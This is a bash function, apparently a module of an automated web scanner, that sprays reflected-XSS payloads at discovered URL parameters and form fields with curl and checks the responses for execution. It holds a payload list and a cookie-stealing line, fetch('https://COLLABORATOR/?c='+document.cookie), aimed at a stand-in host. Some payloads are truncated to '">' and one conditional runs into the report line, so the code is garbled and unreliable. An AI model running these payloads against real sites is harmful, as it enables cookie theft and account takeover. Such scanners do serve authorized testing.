#!/usr/bin/env bash # Vector 02: XSS v2 — Real Confirmed Reflected XSS # Desc: Tests every discovered form/param with multi-context payloads, confirms execution # Detect: Forms, URL params, search bars # Severity: HIGH # Tools: curl vector_xss_v2() { local target="$1" local report="$2" local domain=$(get_domain "$target") local base=$(get_base "$target") local findings=0 print_info "Hunting XSS..." # Get attack surface local forms=$(get_discovered_forms "$domain" 2>/dev/null) local urls=$(get_discovered_urls "$domain" 2>/dev/null) # Multi-context XSS payloads local xss_payloads=( '">' '">' '">' '">' '">
' "'-alert(1)-'" "\"-alert(1)-\"" "{{constructor.constructor('alert(1)')()}}" ) # Context-specific encoding local encoded_payloads=( '\%22\%3E\%3Cscript\%3Ealert(1)\%3C/script\%3E' '\%27\%3Balert(1)\%3B\%27' ) local tested=0 # --- Test URL params --- if [ -n "$urls" ]; then print_sub "Testing URL parameters..." # Get unique parameter names local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u) if [ -z "$param_names" ]; then # No URL params found, test common ones param_names="q search s query id page term keyword input" fi for param in $param_names; do for payload in "${xss_payloads[@]}"; do tested=$((tested + 1)) local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload") local test_url="${target}?${param}=${encoded}" local response=$(curl -s --connect-timeout 7 --max-time 12 "$test_url" 2>/dev/null) # Confirm: payload appears in response UNESCAPED local clean_payload=$(echo "$payload" | sed 's/["\]//g' | sed 's/.*alert/alert/' | sed 's/)>.*/>/') if echo "$response" | grep -qiF "alert(1)" && echo "$response" | grep -qiF " "$REPORTS_DIR/.finding_$(date +%s)_xss-reflected.txt" findings=$((findings + 1)) break 2 fi done done fi # --- Test form inputs --- if [ -n "$forms" ]; then print_sub "Testing form inputs..." while IFS= read -r form; do [ -z "$form" ] && continue local form_method=$(echo "$form" | cut -d'|' -f2) local form_action=$(echo "$form" | cut -d'|' -f3) local form_params=$(echo "$form" | cut -d'|' -f4-) # Make absolute URL if [[ "$form_action" == /* ]]; then form_action="${base}${form_action}" elif [[ "$form_action" != http* ]]; then form_action="${base}/${form_action}" fi [ -z "$form_action" ] && form_action="$target" for param in $form_params; do for payload in "${xss_payloads[@]}"; do tested=$((tested + 1)) local response="" if [ "$form_method" = "post" ]; then response=$(curl -s --connect-timeout 7 --max-time 12 \ -X POST -d "$param=$payload" "$form_action" 2>/dev/null) else local sep="?" [[ "$form_action" == *\?* ]] && sep="&" local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload") response=$(curl -s --connect-timeout 7 --max-time 12 "${form_action}${sep}${param}=${encoded}" 2>/dev/null) fi if echo "$response" | grep -qiF "alert(1)" && echo "$response" | grep -qiF "fetch('https://COLLABORATOR/?c='+document.cookie)" > "$REPORTS_DIR/.finding_$(date +%s)_xss-form.txt" findings=$((findings + 1)) break 3 fi done done done <<< "$forms" fi if [ "$findings" -eq 0 ]; then print_ok "No XSS confirmed (tested $tested payloads on $([ -n \"$forms\" ] && echo \"forms+\")\" URLs\")" fi return $findings }